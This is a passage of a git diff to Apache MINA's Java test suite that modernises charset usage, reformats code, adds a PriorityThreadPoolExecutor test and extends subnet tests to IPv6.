encoder); + in.flip(); + decoder.decode(session, in, out); + assertEquals(1, session.getDecoderOutputQueue().size()); + assertEquals(s, session.getDecoderOutputQueue().poll()); } public void testOverflow() throws Exception { - TextLineDecoder decoder = new TextLineDecoder(Charset.forName("UTF-8"), - LineDelimiter.AUTO); + TextLineDecoder decoder = new TextLineDecoder(StandardCharsets.UTF_8, LineDelimiter.AUTO); decoder.setMaxLineLength(3); - CharsetEncoder encoder = Charset.forName("UTF-8").newEncoder(); + CharsetEncoder encoder = StandardCharsets.UTF_8.newEncoder(); ProtocolCodecSession session = new ProtocolCodecSession(); ProtocolDecoderOutput out = session.getDecoderOutput(); IoBuffer in = IoBuffer.allocate(16); @@ -277,7 +279,7 @@ public void testOverflow() throws Exception { assertEquals(0, session.getDecoderOutputQueue().size()); in.clear().putString("A\r\nB\r\n", encoder).flip(); - + try { decoder.decode(session, in, out); fail(); @@ -295,7 +297,7 @@ public void testOverflow() throws Exception { long oldFreeMemory = Runtime.getRuntime().freeMemory(); in = IoBuffer.allocate(1048576 * 16).sweep((byte) ' ').mark(); - for (int i = 0; i < 10; i ++) { + for (int i = 0; i < 10; i++) { decoder.decode(session, in.reset().mark(), out); assertEquals(0, session.getDecoderOutputQueue().size()); @@ -319,10 +321,9 @@ public void testOverflow() throws Exception { // Memory consumption should be minimal. assertTrue(Runtime.getRuntime().freeMemory() - oldFreeMemory < 1048576); } - + public void testSMTPDataBounds() throws Exception { - TextLineDecoder decoder = new TextLineDecoder(Charset.forName("ISO-8859-1"), - new LineDelimiter("\r\n.\r\n")); + TextLineDecoder decoder = new TextLineDecoder(Charset.forName("ISO-8859-1"), new LineDelimiter("\r\n.\r\n")); CharsetEncoder encoder = Charset.forName("ISO-8859-1").newEncoder(); ProtocolCodecSession session = new ProtocolCodecSession(); diff --git a/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineEncoderTest.java b/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineEncoderTest.java index f386fbc7b3..e9c06efeff 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineEncoderTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineEncoderTest.java @@ -21,7 +21,7 @@ import static org.junit.Assert.assertEquals; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.filter.codec.ProtocolCodecSession; @@ -36,8 +36,7 @@ public class TextLineEncoderTest { @Test public void testEncode() throws Exception { - TextLineEncoder encoder = new TextLineEncoder(Charset.forName("UTF-8"), - LineDelimiter.WINDOWS); + TextLineEncoder encoder = new TextLineEncoder(StandardCharsets.UTF_8, LineDelimiter.WINDOWS); ProtocolCodecSession session = new ProtocolCodecSession(); ProtocolEncoderOutput out = session.getEncoderOutput(); diff --git a/mina-core/src/test/java/org/apache/mina/filter/executor/ExecutorFilterRegressionTest.java b/mina-core/src/test/java/org/apache/mina/filter/executor/ExecutorFilterRegressionTest.java index baa3dda4bb..0e9cc8cea7 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/executor/ExecutorFilterRegressionTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/executor/ExecutorFilterRegressionTest.java @@ -29,6 +29,7 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; import org.junit.After; import org.junit.Before; import org.junit.Test; @@ -59,12 +60,10 @@ public void tearDown() throws Exception { @Test public void testEventOrder() throws Throwable { final EventOrderChecker nextFilter = new EventOrderChecker(); - final EventOrderCounter[] sessions = new EventOrderCounter[] { - new EventOrderCounter(), new EventOrderCounter(), - new EventOrderCounter(), new EventOrderCounter(), - new EventOrderCounter(), new EventOrderCounter(), - new EventOrderCounter(), new EventOrderCounter(), - new EventOrderCounter(), new EventOrderCounter(), }; + final EventOrderCounter[] sessions = new EventOrderCounter[] { new EventOrderCounter(), + new EventOrderCounter(), new EventOrderCounter(), new EventOrderCounter(), new EventOrderCounter(), + new EventOrderCounter(), new EventOrderCounter(), new EventOrderCounter(), new EventOrderCounter(), + new EventOrderCounter()}; final int loop = 1000000; final int end = sessions.length - 1; final ExecutorFilter filter = this.filter; @@ -100,11 +99,10 @@ private static class EventOrderCounter extends DummySession { public EventOrderCounter() { super(); } - + public synchronized void setLastCount(Integer newCount) { if (lastCount != null) { - assertEquals(lastCount.intValue() + 1, newCount - .intValue()); + assertEquals(lastCount.intValue() + 1, newCount.intValue()); } lastCount = newCount; @@ -120,7 +118,7 @@ private static class EventOrderChecker implements NextFilter { public EventOrderChecker() { super(); } - + public void sessionOpened(IoSession session) { // Do nothing } @@ -137,12 +135,16 @@ public void exceptionCaught(IoSession session, Throwable cause) { // Do nothing } + public void inputClosed(IoSession session) { + // Do nothing + } + public void messageReceived(IoSession session, Object message) { try { ((EventOrderCounter) session).setLastCount((Integer) message); - } catch (Throwable t) { + } catch (Exception e) { if (this.throwable == null) { - this.throwable = t; + this.throwable = e; } } } @@ -162,5 +164,9 @@ public void filterClose(IoSession session) { public void sessionCreated(IoSession session) { // Do nothing } + + public void event(IoSession session, FilterEvent event) { + // Do nothing + } } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/executor/PriorityThreadPoolExecutorTest.java b/mina-core/src/test/java/org/apache/mina/filter/executor/PriorityThreadPoolExecutorTest.java new file mode 100644 index 0000000000..338fce501e --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/filter/executor/PriorityThreadPoolExecutorTest.java @@ -0,0 +1,318 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.executor; + +import org.apache.mina.core.filterchain.IoFilter; +import org.apache.mina.core.session.DummySession; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; +import org.junit.Ignore; +import org.junit.Test; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.TimeUnit; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +/** + * Tests that verify the functionality provided by the implementation of + * {@link PriorityThreadPoolExecutor}. + * + * @author Guus der Kinderen, guus.der.kinderen@gmail.com + */ +public class PriorityThreadPoolExecutorTest { + /** + * Tests that verify the functionality provided by the implementation of + * {@link org.apache.mina.filter.executor.PriorityThreadPoolExecutor.SessionEntry} + * . + * + * This test asserts that, without a provided comparator, entries are + * considered equal, when they reference the same session. + * + * @exception Exception If the test throw an exception + */ + @Test + public void fifoEntryTestNoComparatorSameSession() throws Exception { + // Set up fixture. + IoSession session = new DummySession(); + PriorityThreadPoolExecutor.SessionEntry first = new PriorityThreadPoolExecutor.SessionEntry(session, null); + PriorityThreadPoolExecutor.SessionEntry last = new PriorityThreadPoolExecutor.SessionEntry(session, null); + + // Execute system under test. + int result = first.compareTo(last); + + // Verify results. + assertEquals("Without a comparator, entries of the same session are expected to be equal.", 0, result); + } + + /** + * Tests that verify the functionality provided by the implementation of + * {@link org.apache.mina.filter.executor.PriorityThreadPoolExecutor.SessionEntry} + * . + * + * This test asserts that, without a provided comparator, the first entry + * created is 'less than' an entry that is created later. + * + * @exception Exception If the test throw an exception + */ + @Test + public void fifoEntryTestNoComparatorDifferentSession() throws Exception { + // Set up fixture (the order in which the entries are created is + // relevant here!) + PriorityThreadPoolExecutor.SessionEntry first = new PriorityThreadPoolExecutor.SessionEntry(new DummySession(), null); + PriorityThreadPoolExecutor.SessionEntry last = new PriorityThreadPoolExecutor.SessionEntry(new DummySession(), null); + + // Execute system under test. + int result = first.compareTo(last); + + // Verify results. + assertTrue("Without a comparator, the first entry created should be the first entry out. Expected a negative result, instead, got: " + result, result < 0); + } + + /** + * Tests that verify the functionality provided by the implementation of + * {@link org.apache.mina.filter.executor.PriorityThreadPoolExecutor.SessionEntry} + * . + * + * This test asserts that, with a provided comparator, entries are + * considered equal, when they reference the same session (the provided + * comparator is ignored). + * + * @exception Exception If the test throw an exception + */ + @Test + public void fifoEntryTestWithComparatorSameSession() throws Exception { + // Set up fixture. + IoSession session = new DummySession(); + final int predeterminedResult = 3853; + + Comparator comparator = new Comparator() { + @Override + public int compare(IoSession o1, IoSession o2) { + return predeterminedResult; + } + }; + + PriorityThreadPoolExecutor.SessionEntry first = new PriorityThreadPoolExecutor.SessionEntry(session, comparator); + PriorityThreadPoolExecutor.SessionEntry last = new PriorityThreadPoolExecutor.SessionEntry(session, comparator); + + // Execute system under test. + int result = first.compareTo(last); + + // Verify results. + assertEquals("With a comparator, entries of the same session are expected to be equal.", 0, result); + } + + /** + * Tests that verify the functionality provided by the implementation of + * {@link org.apache.mina.filter.executor.PriorityThreadPoolExecutor.SessionEntry} + * . + * + * This test asserts that a provided comparator is used instead of the + * (fallback) default behavior (when entries are referring different + * sessions). + * + * @exception Exception If the test throw an exception + */ + @Test + public void fifoEntryTestComparatorDifferentSession() throws Exception { + // Set up fixture (the order in which the entries are created is + // relevant here!) + final int predeterminedResult = 3853; + + Comparator comparator = new Comparator() { + @Override + public int compare(IoSession o1, IoSession o2) { + return predeterminedResult; + } + }; + + PriorityThreadPoolExecutor.SessionEntry first = new PriorityThreadPoolExecutor.SessionEntry(new DummySession(), comparator); + PriorityThreadPoolExecutor.SessionEntry last = new PriorityThreadPoolExecutor.SessionEntry(new DummySession(), comparator); + + // Execute system under test. + int result = first.compareTo(last); + + // Verify results. + assertEquals("With a comparator, comparing entries of different sessions is expected to yield the comparator result.", predeterminedResult, result); + } + + /** + * Asserts that, when enough work is being submitted to the executor for it + * to start queuing work, prioritisation of work starts to occur. + * + * This implementation starts a number of sessions, and evenly distributes a + * number of messages to them. Processing each message is artificially made + * 'expensive', while the executor pool is kept small. This causes work to + * be queued in the executor. + * + * The executor that is used is configured to prefer one specific session. + * Each session records the timestamp of its last activity. After all work + * has been processed, the test asserts that the last activity of all + * sessions was later than the last activity of the preferred session. + * + * @exception Throwable If the test throw an exception + */ + @Test + @Ignore("This test faiuls randomly") + public void testPrioritisation() throws Throwable { + // Set up fixture. + MockWorkFilter nextFilter = new MockWorkFilter(); + List sessions = new ArrayList<>(); + + for (int i = 0; i < 10; i++) { + sessions.add(new LastActivityTracker()); + } + + LastActivityTracker preferredSession = sessions.get(4); // prefer an arbitrary session + // (but not the first or last + // session, for good measure). + Comparator comparator = new UnfairComparator(preferredSession); + int maximumPoolSize = 1; // keep this low, to force resource contention. + int amountOfTasks = 400; + + ExecutorService executor = new PriorityThreadPoolExecutor(maximumPoolSize, comparator); + ExecutorFilter filter = new ExecutorFilter(executor); + + // Execute system under test. + for (int i = 0; i < amountOfTasks; i++) { + int sessionIndex = i % sessions.size(); + + LastActivityTracker currentSession = sessions.get(sessionIndex); + filter.messageReceived(nextFilter, currentSession, null); + + if (nextFilter.throwable != null) { + throw nextFilter.throwable; + } + } + + executor.shutdown(); + + // Verify results. + executor.awaitTermination(Long.MAX_VALUE, TimeUnit.SECONDS); + + for (LastActivityTracker session : sessions) { + if (session != preferredSession) { + assertTrue("All other sessions should have finished later than the preferred session (but at least one did not).", + session.lastActivity > preferredSession.lastActivity); + } + } + } + + /** + * A comparator that prefers a particular session. + */ + private static class UnfairComparator implements Comparator { + private IoSession preferred; + + public UnfairComparator(IoSession preferred) { + this.preferred = preferred; + } + + @Override + public int compare(IoSession o1, IoSession o2) { + if (o1 == preferred) { + return -1; + } + + if (o2 == preferred) { + return 1; + } + + return 0; + } + } + + /** + * A session that tracks the timestamp of last activity. + */ + private static class LastActivityTracker extends DummySession { + long lastActivity = System.currentTimeMillis(); + + public synchronized void setLastActivity() { + lastActivity = System.currentTimeMillis(); + } + } + + /** + * A filter that simulates a non-negligible amount of work. + */ + private static class MockWorkFilter implements IoFilter.NextFilter { + Throwable throwable; + + public void sessionOpened(IoSession session) { + // Do nothing + } + + public void sessionClosed(IoSession session) { + // Do nothing + } + + public void sessionIdle(IoSession session, IdleStatus status) { + // Do nothing + } + + public void exceptionCaught(IoSession session, Throwable cause) { + // Do nothing + } + + public void inputClosed(IoSession session) { + // Do nothing + } + + public void messageReceived(IoSession session, Object message) { + try { + Thread.sleep(20); // mimic work. + ((LastActivityTracker) session).setLastActivity(); + } catch (Exception e) { + if (this.throwable == null) { + this.throwable = e; + } + } + } + + public void messageSent(IoSession session, WriteRequest writeRequest) { + // Do nothing + } + + public void filterWrite(IoSession session, WriteRequest writeRequest) { + // Do nothing + } + + public void filterClose(IoSession session) { + // Do nothing + } + + public void sessionCreated(IoSession session) { + // Do nothing + } + + @Override + public void event(IoSession session, FilterEvent event) { + // TODO Auto-generated method stub + } + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/firewall/ConnectionThrottleFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/firewall/ConnectionThrottleFilterTest.java index 0ce0f98198..b89018b345 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/firewall/ConnectionThrottleFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/firewall/ConnectionThrottleFilterTest.java @@ -30,58 +30,52 @@ import org.junit.Before; import org.junit.Test; - /** * TODO Add documentation * * @author Apache MINA Project */ -public class ConnectionThrottleFilterTest -{ +public class ConnectionThrottleFilterTest { private ConnectionThrottleFilter filter; private DummySession sessionOne; + private DummySession sessionTwo; @Before - public void setUp() throws Exception - { + public void setUp() throws Exception { filter = new ConnectionThrottleFilter(); sessionOne = new DummySession(); - sessionOne.setRemoteAddress( new InetSocketAddress(1234) ); + sessionOne.setRemoteAddress(new InetSocketAddress(1234)); sessionTwo = new DummySession(); - sessionTwo.setRemoteAddress( new InetSocketAddress(1235) ); + sessionTwo.setRemoteAddress(new InetSocketAddress(1235)); } @After - public void tearDown() throws Exception - { + public void tearDown() throws Exception { filter = null; } @Test - public void testGoodConnection(){ - filter.setAllowedInterval( 100 ); - filter.isConnectionOk( sessionOne ); - - try - { - Thread.sleep( 1000 ); - } - catch ( InterruptedException e ) - { + public void testGoodConnection() { + filter.setAllowedInterval(100); + filter.isConnectionOk(sessionOne); + + try { + Thread.sleep(1000); + } catch (InterruptedException e) { //e.printStackTrace(); } - boolean result = filter.isConnectionOk( sessionOne ); - assertTrue( result ); + boolean result = filter.isConnectionOk(sessionOne); + assertTrue(result); } @Test - public void testBadConnection(){ - filter.setAllowedInterval( 1000 ); - filter.isConnectionOk( sessionTwo ); - assertFalse(filter.isConnectionOk( sessionTwo )); + public void testBadConnection() { + filter.setAllowedInterval(1000); + filter.isConnectionOk(sessionTwo); + assertFalse(filter.isConnectionOk(sessionTwo)); } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv4Test.java b/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv4Test.java index b4222402ac..9ed6612bf7 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv4Test.java +++ b/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv4Test.java @@ -30,7 +30,6 @@ import org.junit.Test; /** - * TODO Add documentation * * @author Apache MINA Project */ @@ -41,9 +40,9 @@ public void test24() throws UnknownHostException { InetAddress b = InetAddress.getByName("127.2.3.4"); InetAddress c = InetAddress.getByName("127.2.3.255"); InetAddress d = InetAddress.getByName("127.2.4.4"); - + Subnet mask = new Subnet(a, 24); - + assertTrue(mask.inSubnet(a)); assertTrue(mask.inSubnet(b)); assertTrue(mask.inSubnet(c)); @@ -56,54 +55,53 @@ public void test16() throws UnknownHostException { InetAddress b = InetAddress.getByName("127.2.3.4"); InetAddress c = InetAddress.getByName("127.2.129.255"); InetAddress d = InetAddress.getByName("127.3.4.4"); - + Subnet mask = new Subnet(a, 16); - + assertTrue(mask.inSubnet(a)); assertTrue(mask.inSubnet(b)); assertTrue(mask.inSubnet(c)); assertFalse(mask.inSubnet(d)); } - + @Test public void testSingleIp() throws UnknownHostException { InetAddress a = InetAddress.getByName("127.2.3.4"); InetAddress b = InetAddress.getByName("127.2.3.3"); InetAddress c = InetAddress.getByName("127.2.3.255"); InetAddress d = InetAddress.getByName("127.2.3.0"); - + Subnet mask = new Subnet(a, 32); - + assertTrue(mask.inSubnet(a)); assertFalse(mask.inSubnet(b)); assertFalse(mask.inSubnet(c)); assertFalse(mask.inSubnet(d)); } - + @Test public void testToString() throws UnknownHostException { InetAddress a = InetAddress.getByName("127.2.3.0"); Subnet mask = new Subnet(a, 24); - + assertEquals("127.2.3.0/24", mask.toString()); } @Test public void testToStringLiteral() throws UnknownHostException { - InetAddress a = InetAddress.getByName("localhost"); + InetAddress a = InetAddress.getByName(null); Subnet mask = new Subnet(a, 32); - + assertEquals("127.0.0.1/32", mask.toString()); } - - + @Test public void testEquals() throws UnknownHostException { Subnet a = new Subnet(InetAddress.getByName("127.2.3.4"), 32); Subnet b = new Subnet(InetAddress.getByName("127.2.3.4"), 32); Subnet c = new Subnet(InetAddress.getByName("127.2.3.5"), 32); Subnet d = new Subnet(InetAddress.getByName("127.2.3.5"), 24); - + assertTrue(a.equals(b)); assertFalse(a.equals(c)); assertFalse(a.equals(d)); diff --git a/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv6Test.java b/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv6Test.java index 6e1de22002..76b1ca2d1b 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv6Test.java +++ b/mina-core/src/test/java/org/apache/mina/filter/firewall/SubnetIPv6Test.java @@ -1,56 +1,120 @@ /* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ +* Licensed to the Apache Software Foundation (ASF) under one +* or more contributor license agreements. See the NOTICE file +* distributed with this work for additional information +* regarding copyright ownership. The ASF licenses this file +* to you under the Apache License, Version 2.0 (the +* "License"); you may not use this file except in compliance +* with the License. You may obtain a copy of the License at +* +* http://www.apache.org/licenses/LICENSE-2.0 +* +* Unless required by applicable law or agreed to in writing, +* software distributed under the License is distributed on an +* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +* KIND, either express or implied. See the License for the +* specific language governing permissions and limitations +* under the License. +* +*/ package org.apache.mina.filter.firewall; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; -import java.net.Inet6Address; import java.net.InetAddress; import java.net.UnknownHostException; import org.junit.Test; /** - * TODO Add documentation - * - * @author Apache MINA Project - */ +* +* @author Apache MINA Project +*/ public class SubnetIPv6Test { - // Test Data - private static final String TEST_V6ADDRESS = "1080:0:0:0:8:800:200C:417A"; - @Test public void testIPv6() throws UnknownHostException { - InetAddress a = InetAddress.getByName(TEST_V6ADDRESS); - - assertTrue(a instanceof Inet6Address); - - try { - new Subnet(a, 24); - fail("IPv6 not supported"); - } catch(IllegalArgumentException e) { - // signifies a successful test execution - assertTrue(true); - } + + Subnet subnet = new Subnet(InetAddress.getByName("2001:db8::"), 32); + assertTrue(!subnet.inSubnet(InetAddress.getByName("2001:db7:ffff:ffff:ffff:ffff:ffff:ffff"))); + assertTrue(!subnet.inSubnet(InetAddress.getByName("2001:db9::"))); + assertTrue(subnet.inSubnet(InetAddress.getByName("2001:db8::1"))); + assertTrue(subnet.inSubnet(InetAddress.getByName("2001:db8:ffff:ffff:ffff:ffff:ffff:ffff"))); + + } + + @Test + public void test32() throws UnknownHostException { + InetAddress a = InetAddress.getByName("2001:db8::"); + InetAddress b = InetAddress.getByName("2001:db8::1"); + InetAddress c = InetAddress.getByName("2001:db8:ffff:ffff:ffff:ffff:ffff:ffff"); + InetAddress d = InetAddress.getByName("2001:db7:ffff:ffff:ffff:ffff:ffff:ffff"); + InetAddress e = InetAddress.getByName("2001:db9::"); + + Subnet mask = new Subnet(a, 32); + + assertTrue(mask.inSubnet(a)); + assertTrue(mask.inSubnet(b)); + assertTrue(mask.inSubnet(c)); + assertFalse(mask.inSubnet(d)); + assertFalse(mask.inSubnet(e)); + } + + @Test + public void test96() throws UnknownHostException { + InetAddress a = InetAddress.getByName("2001:db8:dead:beef:abcd:abcd::"); + InetAddress b = InetAddress.getByName("2001:db8:dead:beef:abcd:abcd::"); + InetAddress c = InetAddress.getByName("2001:db8:dead:beef:abcd:abcd:ffff:ffff"); + InetAddress d = InetAddress.getByName("2001:db8:dead:beef:abcd:abce::"); + InetAddress e = InetAddress.getByName("2001:db8:dead:beef:abcd:abcc:ffff:ffff"); + + Subnet mask = new Subnet(a, 96); + + assertTrue(mask.inSubnet(a)); + assertTrue(mask.inSubnet(b)); + assertTrue(mask.inSubnet(c)); + assertFalse(mask.inSubnet(d)); + assertFalse(mask.inSubnet(e)); + } + + @Test + public void testSingleIp() throws UnknownHostException { + InetAddress a = InetAddress.getByName("2001:db8:dead:beef:f0ca:cc1a:ac1d:ba5e"); + InetAddress b = InetAddress.getByName("2001:db8::"); + InetAddress c = InetAddress.getByName("2001:db8:ffff:ffff:ffff:ffff:ffff:ffff"); + InetAddress d = InetAddress.getByName("2001:db8:dead:beef:f0ca:cc1a:ac1d:ba5f"); + InetAddress e = InetAddress.getByName("2001:db8:dead:beef:f0ca:cc1a:ac1d:ba5d"); + + Subnet mask = new Subnet(a, 128); + + assertTrue(mask.inSubnet(a)); + assertFalse(mask.inSubnet(b)); + assertFalse(mask.inSubnet(c)); + assertFalse(mask.inSubnet(d)); + assertFalse(mask.inSubnet(e)); + } + + @Test + public void testToString() throws UnknownHostException { + InetAddress a = InetAddress.getByName("2001:db8::"); + Subnet mask = new Subnet(a, 32); + + assertEquals("2001:db8:0:0:0:0:0:0/32", mask.toString()); + } + + @Test + public void testEquals() throws UnknownHostException { + Subnet a = new Subnet(InetAddress.getByName("2001:db8::"), 32); + Subnet b = new Subnet(InetAddress.getByName("2001:db8::"), 32); + Subnet c = new Subnet(InetAddress.getByName("2001:db8:dead:beef::"), 64); + Subnet d = new Subnet(InetAddress.getByName("2001:db8:dead:beef::"), 64); + + assertTrue(a.equals(b)); + assertFalse(a.equals(c)); + assertFalse(a.equals(d)); + assertFalse(a.equals(null)); } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/keepalive/KeepAliveFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/keepalive/KeepAliveFilterTest.java index 1bef621aa1..757891fbda 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/keepalive/KeepAliveFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/keepalive/KeepAliveFilterTest.java @@ -23,6 +23,7 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; +import java.net.InetAddress; import java.net.InetSocketAddress; import java.util.concurrent.atomic.AtomicBoolean; @@ -46,19 +47,22 @@ public class KeepAliveFilterTest { // Constants ----------------------------------------------------- static final IoBuffer PING = IoBuffer.wrap(new byte[] { 1 }); + static final IoBuffer PONG = IoBuffer.wrap(new byte[] { 2 }); + private static final int INTERVAL = 2; + private static final int TIMEOUT = 1; private int port; + private NioSocketAcceptor acceptor; @Before public void setUp() throws Exception { acceptor = new NioSocketAcceptor(); KeepAliveMessageFactory factory = new ServerFactory(); - KeepAliveFilter filter = new KeepAliveFilter(factory, - IdleStatus.BOTH_IDLE); + KeepAliveFilter filter = new KeepAliveFilter(factory, IdleStatus.BOTH_IDLE); acceptor.getFilterChain().addLast("keep-alive", filter); acceptor.setHandler(new IoHandlerAdapter()); acceptor.setDefaultLocalAddress(new InetSocketAddress(0)); @@ -93,32 +97,27 @@ public void testKeepAliveFilterForWriterIdle() throws Exception { // Private ------------------------------------------------------- - private void keepAliveFilterForIdleStatus(IdleStatus status) - throws Exception { + private void keepAliveFilterForIdleStatus(IdleStatus status) throws Exception { NioSocketConnector connector = new NioSocketConnector(); - KeepAliveFilter filter = new KeepAliveFilter(new ClientFactory(), - status, EXCEPTION, INTERVAL, TIMEOUT); + KeepAliveFilter filter = new KeepAliveFilter(new ClientFactory(), status, EXCEPTION, INTERVAL, TIMEOUT); filter.setForwardEvent(true); connector.getFilterChain().addLast("keep-alive", filter); final AtomicBoolean gotException = new AtomicBoolean(false); connector.setHandler(new IoHandlerAdapter() { @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { //cause.printStackTrace(); gotException.set(true); } @Override - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { // Do nothing } }); - ConnectFuture future = connector.connect( - new InetSocketAddress("127.0.0.1", port)).awaitUninterruptibly(); + ConnectFuture future = connector.connect(new InetSocketAddress(InetAddress.getByName(null), port)).awaitUninterruptibly(); IoSession session = future.getSession(); assertNotNull(session); @@ -126,33 +125,34 @@ public void sessionIdle(IoSession session, IdleStatus status) assertFalse("got an exception on the client", gotException.get()); - session.close(true); + session.closeNow(); connector.dispose(); } - static boolean checkRequest(IoBuffer message) { - IoBuffer buff = message; - boolean check = buff.get() == 1; - buff.rewind(); - return check; + static boolean checkRequest(Object message) { + if (message instanceof IoBuffer ) { + IoBuffer buff = (IoBuffer)message; + boolean check = buff.get() == 1; + buff.rewind(); + return check; + } else { + return false; + } } - static boolean checkResponse(IoBuffer message) { - IoBuffer buff = message; - boolean check = buff.get() == 2; - buff.rewind(); - return check; + static boolean checkResponse(Object message) { + if (message instanceof IoBuffer ) { + IoBuffer buff = (IoBuffer)message; + boolean check = buff.get() == 2; + buff.rewind(); + return check; + } else { + return false; + } } // Inner classes ------------------------------------------------- private final class ServerFactory implements KeepAliveMessageFactory { - /** - * Default constructor - */ - public ServerFactory() { - super(); - } - public Object getRequest(IoSession session) { return null; } @@ -162,28 +162,15 @@ public Object getResponse(IoSession session, Object request) { } public boolean isRequest(IoSession session, Object message) { - if (message instanceof IoBuffer) { - return checkRequest((IoBuffer) message); - } - return false; + return checkRequest(message); } public boolean isResponse(IoSession session, Object message) { - if (message instanceof IoBuffer) { - return checkResponse((IoBuffer) message); - } - return false; + return checkResponse(message); } } private final class ClientFactory implements KeepAliveMessageFactory { - /** - * Default constructor - */ - public ClientFactory() { - super(); - } - public Object getRequest(IoSession session) { return PING.duplicate(); } @@ -193,17 +180,11 @@ public Object getResponse(IoSession session, Object request) { } public boolean isRequest(IoSession session, Object message) { - if (message instanceof IoBuffer) { - return checkRequest((IoBuffer) message); - } - return false; + return checkRequest(message); } public boolean isResponse(IoSession session, Object message) { - if (message instanceof IoBuffer) { - return checkResponse((IoBuffer) message); - } - return false; + return checkResponse(message); } } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/logging/LoadTestMdcInjectionFilter.java b/mina-core/src/test/java/org/apache/mina/filter/logging/LoadTestMdcInjectionFilter.java index 6601638aa4..b389cea0c7 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/logging/LoadTestMdcInjectionFilter.java +++ b/mina-core/src/test/java/org/apache/mina/filter/logging/LoadTestMdcInjectionFilter.java @@ -1,57 +1,58 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.logging; - -import junit.framework.JUnit4TestAdapter; -import junit.framework.Test; -import junit.textui.TestRunner; - -import java.util.Date; - -/** - * Test the MdcInjectionFilter load for Windows - * - * @author Apache MINA Project - */ -public class LoadTestMdcInjectionFilter { - - /** - * The MdcInjectionFilterTest is unstable, it fails sporadically (and only on Windows ?) - * This is a quick and dirty program to run the MdcInjectionFilterTest many times. - * To be removed once we consider DIRMINA-784 to be fixed - * - */ - public static void main(String[] args) { - TestRunner runner = new TestRunner(); - - try { - for (int i=0; i<50000; i++) { - Test test = new JUnit4TestAdapter(MdcInjectionFilterTest.class); - runner.doRun(test); - System.out.println("i = " + i + " " + new Date()); - } - System.out.println("done"); - } catch (Exception e) { - e.printStackTrace(); - } - System.exit(0); - - } -} +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT 